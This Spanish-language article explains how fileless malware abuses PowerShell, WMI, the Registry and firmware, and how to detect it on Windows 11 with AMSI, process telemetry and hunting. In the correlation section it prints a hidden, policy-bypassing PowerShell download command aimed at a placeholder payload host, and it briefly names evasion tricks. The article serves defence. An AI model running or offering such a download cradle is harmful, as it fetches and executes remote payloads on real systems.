Cómo detectar el peligroso malware fileless (sin archivos) en Windows 11

¿Cómo detectar el peligroso malware fileless? La actividad de los ataques sin archivos ha crecido con fuerza y, para colmo, Windows 11 no es inmune. Este enfoque evita el disco y se apoya en memoria y en herramientas legítimas del sistema; por eso, los antivirus centrados en firmas lo tienen complicado. Si buscas cómo detectarlo de forma fiable, la respuesta está en combinar telemetría, análisis de comportamiento y controles del propio Windows.

En el ecosistema actual conviven campañas que abusan de PowerShell, WMI o Mshta, con técnicas más sofisticadas como inyecciones en memoria, persistencias “sin tocar” el disco y hasta abusos de firmware. La clave es entender bien el mapa de amenazas, las fases de ataque y qué señales dejan incluso cuando todo ocurre dentro de RAM.

Qué es el malware sin archivos y por qué preocupa en Windows 11

Cuando hablamos de amenazas “fileless”, nos referimos a código malicioso que no necesita depositar ejecutables nuevos en el sistema de archivos para operar. Suele inyectarse en procesos ya en marcha y ejecutarse en RAM, apoyándose en intérpretes y binarios firmados por Microsoft (p. ej., PowerShell, WMI, rundll32, mshta). Esto reduce su huella y le permite esquivar motores que solo buscan archivos sospechosos.

Incluso los documentos ofimáticos o PDFs que explotan vulnerabilidades para lanzar comandos son considerados parte del fenómeno, porque activan ejecución en memoria sin dejar binarios útiles para el análisis. También entra aquí el abuso de macros y DDE en Office, dado que el código corre en procesos legítimos como WinWord.

Los atacantes combinan ingeniería social (phishing, enlaces en spam) con trampas técnicas: el clic del usuario inicia una cadena en la que un script descarga y ejecuta la carga final en memoria, evitando dejar rastro en el disco. Los objetivos van desde el robo de datos a la ejecución de ransomware, pasando por el movimiento lateral silencioso.

Tipologías por huella en el sistema: del ‘puro’ a los híbridos

Para no mezclar conceptos, conviene separar las amenazas por el grado de interacción con el sistema de archivos. Esta categorización aclara qué persiste, dónde vive el código y qué señales deja.

Tipo I: sin actividad de archivo

El malware totalmente fileless no escribe nada en el disco. Un ejemplo clásico es aprovechar una vulnerabilidad de red (como el vector EternalBlue en su día) para implantar una puerta trasera que resida en la memoria del kernel (casos como DoublePulsar). Aquí, todo sucede en RAM y no hay artefactos en el sistema de archivos.

Otra variante es contaminar el firmware de componentes: BIOS/UEFI, adaptadores de red, periféricos USB (técnicas tipo BadUSB) o incluso subsistemas de la CPU. Persisten a reinicios y reinstalaciones, con la dificultad añadida de que pocos productos inspeccionan firmware. Son ataques complejos, menos frecuentes, pero peligrosos por su sigilo y durabilidad.

Tipo II: actividad de archivo indirecta

Aquí el malware no “deja” su propio ejecutable, pero usa contenedores gestionados por el sistema que, en el fondo, se almacenan como archivos. Por ejemplo, backdoors que plantan comandos de PowerShell en el repositorio WMI y disparan su ejecución con filtros de eventos. Es posible instalarlo desde línea de comandos sin soltar binarios, pero el repositorio WMI reside en disco como base de datos legítima, difícil de limpiar sin afectar al sistema.

Desde un punto de vista práctico se consideran fileless, porque ese contenedor (WMI, Registro, etc.) no es un ejecutable detectable clásico y su limpieza no es trivial. El resultado: persistencia sigilosa con escasa huella “tradicional”.

Tipo III: requiere archivos para funcionar

Algunos casos mantienen una persistencia ‘sin archivos’ a nivel lógico, pero necesitan un disparador basado en archivo. El ejemplo típico es Kovter: registra un verbo de shell para una extensión aleatoria; al abrir un archivo con esa extensión, se lanza un pequeño script con mshta.exe que reconstruye la cadena maliciosa desde el Registro.

El truco es que esos archivos “carnada” con extensiones aleatorias no contienen una carga útil analizables, y el grueso del código vive en el Registro (otro contenedor). Por eso se catalogan como fileless en impacto, aunque en sentido estricto dependan de uno o varios artefactos en disco como disparador.

Vectores y ‘hosts’ de infección: por dónde entra y dónde se oculta

Para mejorar la detección es vital mapear el punto de entrada y el anfitrión de la infección. Esta óptica ayuda a diseñar controles específicos y a priorizar la telemetría adecuada.

Exploits

• Basados en archivos (Tipo III): documentos, ejecutables, Flash/Java antiguos o LNK pueden explotar el navegador o el motor que los procesa para llevar shellcode a memoria. El primer vector es un archivo, pero la carga viaja a RAM.
• Basados en red (Tipo I): un paquete que explota una vulnerabilidad (p. ej., en SMB) logra ejecución en userland o kernel. WannaCry popularizó este enfoque: carga directa en memoria sin nuevo archivo.

Hardware

• Dispositivos (Tipo I): firmwares de discos o tarjetas de red pueden alterarse e introducir código. Difícil de inspeccionar y con persistencia fuera del SO.
• CPU y subsistemas de gestión (Tipo I): tecnologías como ME/AMT de Intel han demostrado vías para redes y ejecución fuera del SO. Ataca muy bajo nivel, con alto sigilo potencial.
• USB (Tipo I): BadUSB permite reprogramar un pendrive para hacerse pasar por teclado o NIC y lanzar comandos o redirigir tráfico.
• BIOS/UEFI (Tipo I): reprogramación maliciosa del firmware (casos como Mebromi) que se ejecuta antes del arranque de Windows.
• Hipervisor (Tipo I): implantar un mini-hipervisor por debajo del SO para ocultar la presencia. Raro, pero ya observado en forma de rootkits de hipervisor.

Ejecución e inyección

• Basado en archivos (Tipo III): EXE/DLL/LNK o tareas programadas que lanzan inyecciones en procesos legítimos.
• Macros (Tipo III): VBA en Office puede decodificar y ejecutar cargas, incluso ransomware completo, con consentimiento del usuario mediante engaño.
• Scripts (Tipo II): PowerShell, VBScript o JScript desde archivo, línea de comandos, servicios, Registro o WMI. El atacante puede teclear el script en una sesión remota sin tocar disco.
• Registro de arranque (MBR/Boot) (Tipo II): familias como Petya sobrescriben el sector de arranque para tomar control en el inicio. Está fuera del sistema de archivos, pero accesible al SO y a soluciones modernas que pueden restaurarlo.

Cómo operan los ataques fileless: fases y señales

Aunque no dejen ejecutables, las campañas siguen una lógica de fases. Entenderlas permite vigilar eventos y relaciones entre procesos que sí dejan huella.

• Acceso inicial: phishing con enlaces o adjuntos, webs comprometidas o credenciales robadas. Muchas cadenas comienzan en un documento de Office que activa un comando PowerShell.
• Persistencia: puertas traseras a través de WMI (filtros y suscripciones), claves de ejecución del Registro o tareas programadas que relanzan scripts sin nuevo archivo malicioso.
• Exfiltración: una vez recolectada la información, se envía fuera de la red usando procesos de confianza (navegadores, PowerShell, bitsadmin) para mezclar tráfico.

Este patrón es especialmente insidioso porque los indicadores de ataque se esconden en la normalidad: argumentos de línea de comandos, encadenamientos de procesos, conexiones salientes anómalas o acceso a APIs de inyección.

Técnicas habituales: de la memoria al Registro

Los actores se apoyan en un abanico de métodos que optimizan el sigilo. Conviene conocer los más comunes para activar detecciones eficaces.

• Residente en memoria: carga de payloads en el espacio de un proceso confiable que queda a la espera de activación. Los rootkits y hooks en kernel elevan el nivel de ocultación.
• Persistencia en el Registro: guardar blobs cifrados en claves y rehidratarlos desde un lanzador legítimo (mshta, rundll32, wscript). El instalador efímero puede autodestruirse para minimizar la huella.
• Suplantación de credenciales: con usuarios y contraseñas robadas, el atacante ejecuta shells remotos y planta accesos silenciosos en Registro o WMI.
• Ransomware ‘sin archivos’: el cifrado y la comunicación C2 se orquestan desde RAM, reduciendo oportunidades de detección hasta que el daño es visible.
• Kits de explotación: cadenas automatizadas que detectan vulnerabilidades y despliegan cargas memory-only tras el clic del usuario.
• Documentos con código: macros y mecanismos como DDE que disparan comandos sin guardar ejecutables en disco.

Estudios del sector ya reflejaron picos notables: en un periodo de 2018 se registró un aumento superior al 90% en ataques basados en scripts y en cadenas con PowerShell, señal de que el vector es preferido por su eficacia.

El reto para empresas y proveedores: por qué no basta con bloquear

Sería tentador desactivar PowerShell o prohibir macros para siempre, pero romperías la operativa. PowerShell es pilar de la administración moderna y Office, básico en negocio; bloquear a ciegas a menudo no es viable.

Además, hay formas de esquivar controles básicos: ejecutar PowerShell a través de DLL y rundll32, empaquetar scripts en EXE, llevar tu propia copia de PowerShell o hasta ocultar scripts en imágenes y extraerlos en memoria. Por eso, la defensa no puede basarse solo en negar herramientas.

Otro error común es delegar toda la decisión a la nube: si el agente tiene que esperar respuesta del servidor, pierdes prevención en tiempo real. La telemetría puede subirse para enriquecer, pero la mitigación debe ocurrir en el endpoint.

Cómo detectar malware sin archivos en Windows 11: telemetría y comportamiento

La estrategia ganadora es vigilar procesos y memoria, no archivos. Los comportamientos maliciosos son más estables que las formas que adopta un archivo, lo que los hace idóneos para motores de prevención.

• AMSI (Antimalware Scan Interface): intercepta scripts en PowerShell, VBScript o JScript incluso cuando se construyen dinámicamente en memoria. Excelente para capturar cadenas ofuscadas antes de su ejecución.
• Monitorización de procesos: inicio/fin, PID, padres e hijos, rutas, líneas de comandos y hashes, además de árboles de ejecución para entender la historia completa.
• Análisis de memoria: detección de inyecciones, reflectivas o cargas PE sin tocar disco, y revisión de regiones ejecutables inusuales.
• Protección del sector de arranque: control y restauración del MBR/EFI en caso de manipulación.

En el ecosistema Microsoft, Defender para Endpoint combina AMSI, supervisión de comportamiento, escaneo de memoria y ML en la nube para escalar detecciones frente a variantes nuevas u ofuscadas. Otros fabricantes aplican enfoques análogos con motores residentes en el kernel.

Ejemplo realista de correlación: del documento a PowerShell

Imagina una cadena en la que Outlook descarga un adjunto, Word abre el documento, se habilita contenido activo y se lanza PowerShell con parámetros sospechosos. Una telemetría adecuada mostraría la línea de comandos (p. ej., ExecutionPolicy Bypass, ventana oculta), la conexión a un dominio poco fiable y la creación de un proceso hijo que se instala en AppData.

Un agente con contexto local es capaz de detener y revertir la actividad maliciosa sin intervención manual, además de notificar al SIEM o por email/SMS. Algunos productos añaden una capa de atribución de causa raíz (modelos tipo StoryLine), que apuntan no al proceso visible (Outlook/Word), sino al hilo malicioso completo y su origen para sanear integralmente el sistema.

Un patrón de comando típico que conviene vigilar puede parecerse a: powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http//dominiotld/payload');. La lógica no es el string exacto, sino el conjunto de señales: bypass de políticas, ventana oculta, descarga en claro y ejecución en memoria.

AMSI, pipeline y rol de cada actor: del endpoint al SOC

Más allá de la captura de scripts, una arquitectura sólida orquesta pasos que facilitan investigación y respuesta. Cuanta más evidencia antes de ejecutar la carga, mejor.

• Interceptación de scripts: AMSI entrega el contenido (aunque se genere al vuelo) para análisis estático y dinámico en un pipeline de malware.
• Eventos de proceso: se recopilan PIDs, binarios, hashes, rutas y argumentos, estableciendo los árboles de proceso que llevaron a la carga final.
• Detección y reporting: las detecciones se exponen en la consola del producto y se reenvían a plataformas de red (NDR) para visualizar campañas.
• Garantías al usuario: aunque un script se inyecte en memoria, el marco AMSI lo intercepta en versiones compatibles de Windows.
• Capacidades del administrador: configuración de políticas para habilitar inspección de scripts, bloqueos en base a comportamiento y creación de informes desde la consola.
• Trabajo del SOC: extracción de artefactos (UUID de VM, versión de SO, tipo de script, proceso iniciador y su parent, hashes y líneas de comandos) para recrear la historia y levantar reglas futuras.

Cuando la plataforma permite exportar el buffer de memoria asociado a la ejecución, los investigadores pueden generar nuevas detecciones y enriquecer la defensa frente a variantes similares.

Medidas prácticas en Windows 11: prevención y hunting

Además de contar con un EDR con inspección de memoria y AMSI, en Windows 11 puedes cerrar espacios de ataque y mejorar la visibilidad con controles nativos.

• Registro y restricciones en PowerShell: habilita Script Block Logging y Module Logging, aplica modos restringidos cuando sea posible y controla el uso de Bypass/Hidden.
• Reglas de Reducción de Superficie de Ataque (ASR): bloquea lanzamientos de scripts por procesos de Office y abuso de WMI/PSExec cuando no sean necesarios.
• Políticas de macros de Office: desactiva por defecto, firma de macros internas y listas de confianza estrictas; vigila flujos DDE heredados.
• Auditoría de WMI y Registro: monitoriza suscripciones de eventos y claves de ejecución automática (Run, RunOnce, Winlogon), así como creación de tareas programadas.
• Protección del arranque: activa Secure Boot, controla integridad de MBR/EFI y valida que no haya modificaciones al inicio.
• Parcheo y endurecimiento: cierra vulnerabilidades explotables en navegadores, componentes de Office y servicios de red.
• Concienciación: entrena a usuarios y equipos técnicos en phishing y señales de ejecuciones encubiertas.

Para el hunting, céntrate en queries sobre: creación de procesos por Office hacia PowerShell/MSHTA, argumentos con downloadstring/downloadfile, scripts con ofuscación clara, inyecciones reflectivas y redes salientes a TLDs sospechosos. Cruza estas señales con reputación y frecuencia para reducir ruido.

¿Qué puede detectar cada motor hoy?

Las soluciones empresariales de Microsoft combinan AMSI, análisis conductual, examinar memoria y protección del sector de arranque, además de modelos de ML en la nube para escalar frente a amenazas nuevas. Otros fabricantes implementan monitoreo a nivel del kernel para diferenciar lo malicioso de lo benigno con reversión automática de cambios.

Un enfoque basado en historias de ejecución permite identificar la causa raíz (por ejemplo, un adjunto de Outlook que desencadena una cadena) y mitigar todo el árbol: scripts, claves, tareas y binarios intermedios, evitando quedarse en el síntoma visible.

Errores habituales y cómo evitarlos

Bloquear PowerShell sin plan alternativo de administración no solo es poco práctico, sino que existen formas de invocarlo indirectamente. Lo mismo con macros: o las gestionas con políticas y firmas, o el negocio sufrirá. Mejor apuesta por telemetría y reglas de comportamiento.

Otro fallo típico es creer que la lista blanca de aplicaciones lo soluciona todo: el fileless se apoya precisamente en aplicaciones de confianza. El control debe observar qué hacen y cómo se relacionan, no solo si están permitidas.

Con todo lo anterior, el malware sin archivos deja de ser un “fantasma” cuando vigilas lo que realmente importa: comportamiento, memoria y orígenes de cada ejecución. Combinar AMSI, telemetría rica de procesos, controles nativos de Windows 11 y una capa EDR con análisis conductual te coloca en ventaja. Añade a la ecuación políticas realistas para macros y PowerShell, auditoría de WMI/Registro y un hunting que priorice líneas de comandos y árboles de procesos, y tendrás una defensa que corta estas cadenas antes de que hagan ruido.